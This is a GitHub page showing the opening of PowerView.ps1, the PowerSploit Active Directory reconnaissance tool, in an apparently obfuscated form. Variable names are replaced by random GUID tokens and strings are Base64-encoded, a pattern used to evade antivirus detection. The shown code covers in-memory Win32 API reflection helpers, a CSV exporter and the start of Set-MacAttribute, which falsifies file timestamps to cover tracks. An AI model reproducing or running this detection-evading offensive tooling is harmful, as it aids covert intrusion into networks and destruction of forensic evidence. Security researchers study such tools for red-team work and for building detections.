This repository has been archived by the owner on Nov 9, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 47
/
PowerView.ps1
5669 lines (5656 loc) · 431 KB
/
PowerView.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
PowerSploit File: PowerView.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
########################################################
#
# PSReflect code for Windows API access
# Author: @mattifestation
# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################
function New-InMemoryModule
{
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
${b4b7d1605e134cd4a82daa1d993f1de9} = [Guid]::NewGuid().ToString()
)
${6e5f9163de4c40d29790057b7dad127a} = [AppDomain]::CurrentDomain.GetAssemblies()
ForEach ($Assembly in ${6e5f9163de4c40d29790057b7dad127a}) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq ${b4b7d1605e134cd4a82daa1d993f1de9})) {
return $Assembly
}
}
${aa8d14d2beb447edaf8d4a57c7082bfc} = New-Object Reflection.AssemblyName(${b4b7d1605e134cd4a82daa1d993f1de9})
${afa30c601e734738b32424a6234484e4} = [AppDomain]::CurrentDomain
${5bf753cdbd964352a622f1cfe7401368} = ${afa30c601e734738b32424a6234484e4}.DefineDynamicAssembly(${aa8d14d2beb447edaf8d4a57c7082bfc}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgB1AG4A'))))
${508ee3777a554fcd95b5e6db7032e570} = ${5bf753cdbd964352a622f1cfe7401368}.DefineDynamicModule(${b4b7d1605e134cd4a82daa1d993f1de9}, $False)
return ${508ee3777a554fcd95b5e6db7032e570}
}
function func
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
${e432ef5d52494ed2a4b91ae52e7ab10a},
[Parameter(Position = 1, Mandatory = $True)]
[String]
${e1c3a8ed9bf4431e9cdc1bfc7ad23542},
[Parameter(Position = 2, Mandatory = $True)]
[Type]
${da062846c91a4f20a4782a317284670b},
[Parameter(Position = 3)]
[Type[]]
${e58211565bc940c5b1723ea46cb15aa0},
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
${a2fb3d55e54945f0b3f4e1269e530831},
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
${a8e3fec00c3f49de93543554d9bd0a81},
[Switch]
${dc4526cbc57b48f59dec432784d5ffa1}
)
${d90960fc83614a2fb42f43ab6aac95a1} = @{
DllName = ${e432ef5d52494ed2a4b91ae52e7ab10a}
FunctionName = ${e1c3a8ed9bf4431e9cdc1bfc7ad23542}
ReturnType = ${da062846c91a4f20a4782a317284670b}
}
if (${e58211565bc940c5b1723ea46cb15aa0}) { ${d90960fc83614a2fb42f43ab6aac95a1}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABhAHIAYQBtAGUAdABlAHIAVAB5AHAAZQBzAA==')))] = ${e58211565bc940c5b1723ea46cb15aa0} }
if (${a2fb3d55e54945f0b3f4e1269e530831}) { ${d90960fc83614a2fb42f43ab6aac95a1}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBhAHQAaQB2AGUAQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAA==')))] = ${a2fb3d55e54945f0b3f4e1269e530831} }
if (${a8e3fec00c3f49de93543554d9bd0a81}) { ${d90960fc83614a2fb42f43ab6aac95a1}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBoAGEAcgBzAGUAdAA=')))] = ${a8e3fec00c3f49de93543554d9bd0a81} }
if (${dc4526cbc57b48f59dec432784d5ffa1}) { ${d90960fc83614a2fb42f43ab6aac95a1}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHQATABhAHMAdABFAHIAcgBvAHIA')))] = ${dc4526cbc57b48f59dec432784d5ffa1} }
New-Object PSObject -Property ${d90960fc83614a2fb42f43ab6aac95a1}
}
function Add-Win32Type
{
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
${e432ef5d52494ed2a4b91ae52e7ab10a},
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
${e1c3a8ed9bf4431e9cdc1bfc7ad23542},
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Type]
${da062846c91a4f20a4782a317284670b},
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Type[]]
${e58211565bc940c5b1723ea46cb15aa0},
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CallingConvention]
${a2fb3d55e54945f0b3f4e1269e530831} = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CharSet]
${a8e3fec00c3f49de93543554d9bd0a81} = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Switch]
${dc4526cbc57b48f59dec432784d5ffa1},
[Parameter(Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
${d9d1a8ab5b424a43b118c5f77b0d1a94},
[ValidateNotNull()]
[String]
${eafefacad26c4f05a016568789ff5c9f} = ''
)
BEGIN
{
${e3bd444975934fd1b86f107197afe9a5} = @{}
}
PROCESS
{
if (${d9d1a8ab5b424a43b118c5f77b0d1a94} -is [Reflection.Assembly])
{
if (${eafefacad26c4f05a016568789ff5c9f})
{
${e3bd444975934fd1b86f107197afe9a5}[${e432ef5d52494ed2a4b91ae52e7ab10a}] = ${d9d1a8ab5b424a43b118c5f77b0d1a94}.GetType("${eafefacad26c4f05a016568789ff5c9f}.${e432ef5d52494ed2a4b91ae52e7ab10a}")
}
else
{
${e3bd444975934fd1b86f107197afe9a5}[${e432ef5d52494ed2a4b91ae52e7ab10a}] = ${d9d1a8ab5b424a43b118c5f77b0d1a94}.GetType(${e432ef5d52494ed2a4b91ae52e7ab10a})
}
}
else
{
if (!${e3bd444975934fd1b86f107197afe9a5}.ContainsKey(${e432ef5d52494ed2a4b91ae52e7ab10a}))
{
if (${eafefacad26c4f05a016568789ff5c9f})
{
${e3bd444975934fd1b86f107197afe9a5}[${e432ef5d52494ed2a4b91ae52e7ab10a}] = ${d9d1a8ab5b424a43b118c5f77b0d1a94}.DefineType("${eafefacad26c4f05a016568789ff5c9f}.${e432ef5d52494ed2a4b91ae52e7ab10a}", $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMALABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAA='))))
}
else
{
${e3bd444975934fd1b86f107197afe9a5}[${e432ef5d52494ed2a4b91ae52e7ab10a}] = ${d9d1a8ab5b424a43b118c5f77b0d1a94}.DefineType(${e432ef5d52494ed2a4b91ae52e7ab10a}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMALABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAA='))))
}
}
${b2abe530830445cbb72b697b996bcc74} = ${e3bd444975934fd1b86f107197afe9a5}[${e432ef5d52494ed2a4b91ae52e7ab10a}].DefineMethod(
${e1c3a8ed9bf4431e9cdc1bfc7ad23542},
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAFAAaQBuAHYAbwBrAGUASQBtAHAAbAA='))),
${da062846c91a4f20a4782a317284670b},
${e58211565bc940c5b1723ea46cb15aa0})
${df57982c23a24d73a2eb69bf47d8ac30} = 1
ForEach($Parameter in ${e58211565bc940c5b1723ea46cb15aa0})
{
if ($Parameter.IsByRef)
{
[void] ${b2abe530830445cbb72b697b996bcc74}.DefineParameter(${df57982c23a24d73a2eb69bf47d8ac30}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TwB1AHQA'))), $Null)
}
${df57982c23a24d73a2eb69bf47d8ac30}++
}
${7f82839ad90242c5a4fc39f5b3fe27ce} = [Runtime.InteropServices.DllImportAttribute]
${ef0fcff851b34c83bcb7dec139192b4c} = ${7f82839ad90242c5a4fc39f5b3fe27ce}.GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHQATABhAHMAdABFAHIAcgBvAHIA'))))
${73bcea6ba25b499aa66174febb56ecd9} = ${7f82839ad90242c5a4fc39f5b3fe27ce}.GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAA=='))))
${0fe585ea182e45a495b25505cc508fa6} = ${7f82839ad90242c5a4fc39f5b3fe27ce}.GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBoAGEAcgBTAGUAdAA='))))
if (${dc4526cbc57b48f59dec432784d5ffa1}) { ${e4b03a080864464093bc51afd45c7d14} = $True } else { ${e4b03a080864464093bc51afd45c7d14} = $False }
${f89f3439e3df42098aea3df2abc16715} = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
${726ee318ccfa4cb89057ce331b996ad4} = New-Object Reflection.Emit.CustomAttributeBuilder(${f89f3439e3df42098aea3df2abc16715},
${e432ef5d52494ed2a4b91ae52e7ab10a}, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @(${ef0fcff851b34c83bcb7dec139192b4c}, ${73bcea6ba25b499aa66174febb56ecd9}, ${0fe585ea182e45a495b25505cc508fa6}),
[Object[]] @(${e4b03a080864464093bc51afd45c7d14}, ([Runtime.InteropServices.CallingConvention] ${a2fb3d55e54945f0b3f4e1269e530831}), ([Runtime.InteropServices.CharSet] ${a8e3fec00c3f49de93543554d9bd0a81})))
${b2abe530830445cbb72b697b996bcc74}.SetCustomAttribute(${726ee318ccfa4cb89057ce331b996ad4})
}
}
END
{
if (${d9d1a8ab5b424a43b118c5f77b0d1a94} -is [Reflection.Assembly])
{
return ${e3bd444975934fd1b86f107197afe9a5}
}
${e02f5e14c5f34eeba60d4633653eeb27} = @{}
ForEach (${5d6afadd83614764a6d3f69fb67ac9ee} in ${e3bd444975934fd1b86f107197afe9a5}.Keys)
{
${cbe2d96c69704ba8a6cfacc690b4a409} = ${e3bd444975934fd1b86f107197afe9a5}[${5d6afadd83614764a6d3f69fb67ac9ee}].CreateType()
${e02f5e14c5f34eeba60d4633653eeb27}[${5d6afadd83614764a6d3f69fb67ac9ee}] = ${cbe2d96c69704ba8a6cfacc690b4a409}
}
return ${e02f5e14c5f34eeba60d4633653eeb27}
}
}
function psenum
{
[OutputType([Type])]
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
${d9d1a8ab5b424a43b118c5f77b0d1a94},
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
${d9f2e8a808c9474fb43bde1847037703},
[Parameter(Position = 2, Mandatory = $True)]
[Type]
${cbe2d96c69704ba8a6cfacc690b4a409},
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
${ebe1719d9d114e3883b7fbc056631d37},
[Switch]
${a66d9408b2cc4452b48b24dc0e28db8b}
)
if (${d9d1a8ab5b424a43b118c5f77b0d1a94} -is [Reflection.Assembly])
{
return (${d9d1a8ab5b424a43b118c5f77b0d1a94}.GetType(${d9f2e8a808c9474fb43bde1847037703}))
}
${44553d1fbd3a4cdfb5238c0bf3b1753b} = ${cbe2d96c69704ba8a6cfacc690b4a409} -as [Type]
${1164f879da004f54bdf7798b599f3bde} = ${d9d1a8ab5b424a43b118c5f77b0d1a94}.DefineEnum(${d9f2e8a808c9474fb43bde1847037703}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMA'))), ${44553d1fbd3a4cdfb5238c0bf3b1753b})
if (${a66d9408b2cc4452b48b24dc0e28db8b})
{
${4be9927731964610ae4fd48845fc06ec} = [FlagsAttribute].GetConstructor(@())
${5e971af6606746be924a211e8ae8a8fb} = New-Object Reflection.Emit.CustomAttributeBuilder(${4be9927731964610ae4fd48845fc06ec}, @())
${1164f879da004f54bdf7798b599f3bde}.SetCustomAttribute(${5e971af6606746be924a211e8ae8a8fb})
}
ForEach (${5d6afadd83614764a6d3f69fb67ac9ee} in ${ebe1719d9d114e3883b7fbc056631d37}.Keys)
{
$Null = ${1164f879da004f54bdf7798b599f3bde}.DefineLiteral(${5d6afadd83614764a6d3f69fb67ac9ee}, ${ebe1719d9d114e3883b7fbc056631d37}[${5d6afadd83614764a6d3f69fb67ac9ee}] -as ${44553d1fbd3a4cdfb5238c0bf3b1753b})
}
${1164f879da004f54bdf7798b599f3bde}.CreateType()
}
function field
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[UInt16]
${cf1a0407474349e18d82bdd524c16dfb},
[Parameter(Position = 1, Mandatory = $True)]
[Type]
${cbe2d96c69704ba8a6cfacc690b4a409},
[Parameter(Position = 2)]
[UInt16]
${d0da59b7ae0a4835a7cd2c7ff056c201},
[Object[]]
${c187c8c390a644ce9fc595b967c22e37}
)
@{
Position = ${cf1a0407474349e18d82bdd524c16dfb}
Type = ${cbe2d96c69704ba8a6cfacc690b4a409} -as [Type]
Offset = ${d0da59b7ae0a4835a7cd2c7ff056c201}
MarshalAs = ${c187c8c390a644ce9fc595b967c22e37}
}
}
function struct
{
[OutputType([Type])]
Param
(
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
${d9d1a8ab5b424a43b118c5f77b0d1a94},
[Parameter(Position = 2, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
${d9f2e8a808c9474fb43bde1847037703},
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
${be6d4ddca1d44750a765b69f66c4583d},
[Reflection.Emit.PackingSize]
${a2e578431dfa4d2da9f9f30d7c576ec7} = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
${e0f960d9aee14dc3819711f704d3b9f1}
)
if (${d9d1a8ab5b424a43b118c5f77b0d1a94} -is [Reflection.Assembly])
{
return (${d9d1a8ab5b424a43b118c5f77b0d1a94}.GetType(${d9f2e8a808c9474fb43bde1847037703}))
}
[Reflection.TypeAttributes] ${4096c91d6ee74eb3b2c06c705cb32a14} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBuAHMAaQBDAGwAYQBzAHMALAANAAoAIAAgACAAIAAgACAAIAAgAEMAbABhAHMAcwAsAA0ACgAgACAAIAAgACAAIAAgACAAUAB1AGIAbABpAGMALAANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBhAGwAZQBkACwADQAKACAAIAAgACAAIAAgACAAIABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAA=')))
if (${e0f960d9aee14dc3819711f704d3b9f1})
{
${4096c91d6ee74eb3b2c06c705cb32a14} = ${4096c91d6ee74eb3b2c06c705cb32a14} -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
${4096c91d6ee74eb3b2c06c705cb32a14} = ${4096c91d6ee74eb3b2c06c705cb32a14} -bor [Reflection.TypeAttributes]::SequentialLayout
}
${e795cb2458034ed2b932e7be6a04e4bd} = ${d9d1a8ab5b424a43b118c5f77b0d1a94}.DefineType(${d9f2e8a808c9474fb43bde1847037703}, ${4096c91d6ee74eb3b2c06c705cb32a14}, [ValueType], ${a2e578431dfa4d2da9f9f30d7c576ec7})
${c8e6128ccf9a4c669271240c5d278280} = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
${ade557a4631a4fb1b0e6eed00544ce8d} = @([Runtime.InteropServices.MarshalAsAttribute].GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBpAHoAZQBDAG8AbgBzAHQA')))))
${e8830d9971e449ff973fcddc27829990} = New-Object Hashtable[](${be6d4ddca1d44750a765b69f66c4583d}.Count)
ForEach ($Field in ${be6d4ddca1d44750a765b69f66c4583d}.Keys)
{
${7fa129629b044e1fbb306f4e8521ac0a} = ${be6d4ddca1d44750a765b69f66c4583d}[$Field][$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABvAHMAaQB0AGkAbwBuAA==')))]
${e8830d9971e449ff973fcddc27829990}[${7fa129629b044e1fbb306f4e8521ac0a}] = @{FieldName = $Field; Properties = ${be6d4ddca1d44750a765b69f66c4583d}[$Field]}
}
ForEach ($Field in ${e8830d9971e449ff973fcddc27829990})
{
${d4169d5d9b4047b084dedbd494d51677} = $Field[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBpAGUAbABkAE4AYQBtAGUA')))]
${76a084082fc64852bcb1322d0b8f6027} = $Field[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAByAG8AcABlAHIAdABpAGUAcwA=')))]
${d0da59b7ae0a4835a7cd2c7ff056c201} = ${76a084082fc64852bcb1322d0b8f6027}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TwBmAGYAcwBlAHQA')))]
${cbe2d96c69704ba8a6cfacc690b4a409} = ${76a084082fc64852bcb1322d0b8f6027}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VAB5AHAAZQA=')))]
${c187c8c390a644ce9fc595b967c22e37} = ${76a084082fc64852bcb1322d0b8f6027}[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHIAcwBoAGEAbABBAHMA')))]
${05fb6533ef98430f89ffa2629c92d11a} = ${e795cb2458034ed2b932e7be6a04e4bd}.DefineField(${d4169d5d9b4047b084dedbd494d51677}, ${cbe2d96c69704ba8a6cfacc690b4a409}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMA'))))
if (${c187c8c390a644ce9fc595b967c22e37})
{
${33767a28fb4c47048ea18f75b695c770} = ${c187c8c390a644ce9fc595b967c22e37}[0] -as ([Runtime.InteropServices.UnmanagedType])
if (${c187c8c390a644ce9fc595b967c22e37}[1])
{
${681564ba6dde4fc7a28de8f3afae8ffe} = ${c187c8c390a644ce9fc595b967c22e37}[1]
${58d234230ed841afa5e668b1842a5ec5} = New-Object Reflection.Emit.CustomAttributeBuilder(${c8e6128ccf9a4c669271240c5d278280},
${33767a28fb4c47048ea18f75b695c770}, ${ade557a4631a4fb1b0e6eed00544ce8d}, @(${681564ba6dde4fc7a28de8f3afae8ffe}))
}
else
{
${58d234230ed841afa5e668b1842a5ec5} = New-Object Reflection.Emit.CustomAttributeBuilder(${c8e6128ccf9a4c669271240c5d278280}, [Object[]] @(${33767a28fb4c47048ea18f75b695c770}))
}
${05fb6533ef98430f89ffa2629c92d11a}.SetCustomAttribute(${58d234230ed841afa5e668b1842a5ec5})
}
if (${e0f960d9aee14dc3819711f704d3b9f1}) { ${05fb6533ef98430f89ffa2629c92d11a}.SetOffset(${d0da59b7ae0a4835a7cd2c7ff056c201}) }
}
${db8ea94b0c524ea9a69a818b19c4f697} = ${e795cb2458034ed2b932e7be6a04e4bd}.DefineMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQAUwBpAHoAZQA='))),
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA=='))),
[Int],
[Type[]] @())
${730a3ac630ab490188f2c3087f2eddad} = ${db8ea94b0c524ea9a69a818b19c4f697}.GetILGenerator()
${730a3ac630ab490188f2c3087f2eddad}.Emit([Reflection.Emit.OpCodes]::Ldtoken, ${e795cb2458034ed2b932e7be6a04e4bd})
${730a3ac630ab490188f2c3087f2eddad}.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQAVAB5AHAAZQBGAHIAbwBtAEgAYQBuAGQAbABlAA==')))))
${730a3ac630ab490188f2c3087f2eddad}.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBpAHoAZQBPAGYA'))), [Type[]] @([Type])))
${730a3ac630ab490188f2c3087f2eddad}.Emit([Reflection.Emit.OpCodes]::Ret)
${f87861036ee5453197dfc9ef88bf73d3} = ${e795cb2458034ed2b932e7be6a04e4bd}.DefineMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bwBwAF8ASQBtAHAAbABpAGMAaQB0AA=='))),
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAByAGkAdgBhAHQAZQBTAGMAbwBwAGUALAAgAFAAdQBiAGwAaQBjACwAIABTAHQAYQB0AGkAYwAsACAASABpAGQAZQBCAHkAUwBpAGcALAAgAFMAcABlAGMAaQBhAGwATgBhAG0AZQA='))),
${e795cb2458034ed2b932e7be6a04e4bd},
[Type[]] @([IntPtr]))
${017d3b3b5d0243219feb428a28646e15} = ${f87861036ee5453197dfc9ef88bf73d3}.GetILGenerator()
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Nop)
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Ldtoken, ${e795cb2458034ed2b932e7be6a04e4bd})
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQAVAB5AHAAZQBGAHIAbwBtAEgAYQBuAGQAbABlAA==')))))
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAB0AHIAVABvAFMAdAByAHUAYwB0AHUAcgBlAA=='))), [Type[]] @([IntPtr], [Type])))
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Unbox_Any, ${e795cb2458034ed2b932e7be6a04e4bd})
${017d3b3b5d0243219feb428a28646e15}.Emit([Reflection.Emit.OpCodes]::Ret)
${e795cb2458034ed2b932e7be6a04e4bd}.CreateType()
}
function Export-PowerViewCSV {
Param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True,
ValueFromPipelineByPropertyName=$True)]
[System.Management.Automation.PSObject]
${b67942bb466d4bb2ae35b61842d8002f},
[Parameter(Mandatory=$True, Position=0)]
[Alias('PSPath')]
[String]
${a3653a86a8bf4a758cfe5d1942c0bcde}
)
process {
${903c80e254e1407eaa7feb6e1be27ab4} = ${b67942bb466d4bb2ae35b61842d8002f} | ConvertTo-Csv -NoTypeInformation
${e6904617cab0462da4d620b2a835fa70} = New-Object System.Threading.Mutex $False,$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBTAFYATQB1AHQAZQB4AA==')));
$Null = ${e6904617cab0462da4d620b2a835fa70}.WaitOne()
if (Test-Path -Path ${a3653a86a8bf4a758cfe5d1942c0bcde}) {
${903c80e254e1407eaa7feb6e1be27ab4} | Foreach-Object {${44aa0231d526434786bd6bbb976ad17c}=$True}{if (${44aa0231d526434786bd6bbb976ad17c}) {${44aa0231d526434786bd6bbb976ad17c}=$False} else {$_}} | Out-File -Encoding $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBTAEMASQBJAA=='))) -Append -FilePath ${a3653a86a8bf4a758cfe5d1942c0bcde}
}
else {
${903c80e254e1407eaa7feb6e1be27ab4} | Out-File -Encoding $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBTAEMASQBJAA=='))) -Append -FilePath ${a3653a86a8bf4a758cfe5d1942c0bcde}
}
${e6904617cab0462da4d620b2a835fa70}.ReleaseMutex()
}
}
function Set-MacAttribute {
[CmdletBinding(DefaultParameterSetName = 'Touch')]
Param (
[Parameter(Position = 1,Mandatory = $True)]
[ValidateScript({Test-Path -Path $_ })]
[String]
${c2d0346f3c5149d2996b8185fb799893},
[Parameter(ParameterSetName = 'Touch')]
[ValidateScript({Test-Path -Path $_ })]
[String]
${bbe0368d277a48ea8cc2ea9a420e2221},
[Parameter(ParameterSetName = 'Individual')]
[DateTime]
${a66228d4cdbb458396462063f093e9e7},
[Parameter(ParameterSetName = 'Individual')]
[DateTime]
${a0fc0d35a3ef486ab4c94d2a2c53e6d3},
[Parameter(ParameterSetName = 'Individual')]
[DateTime]
${cbeebcbb28aa4440b574e0e9fa04d7a0},
[Parameter(ParameterSetName = 'All')]
[DateTime]
${b5acf01e5ce74eb69ecbeb799e2aea92}
)
function Get-MacAttribute {
param(${b0926d20f1174caa905a059163f444ed})
if (!(Test-Path -Path ${b0926d20f1174caa905a059163f444ed})) {Throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBpAGwAZQAgAE4AbwB0ACAARgBvAHUAbgBkAA==')))}
${4d456ccec09c41198677e231a691d574} = (gi ${b0926d20f1174caa905a059163f444ed})
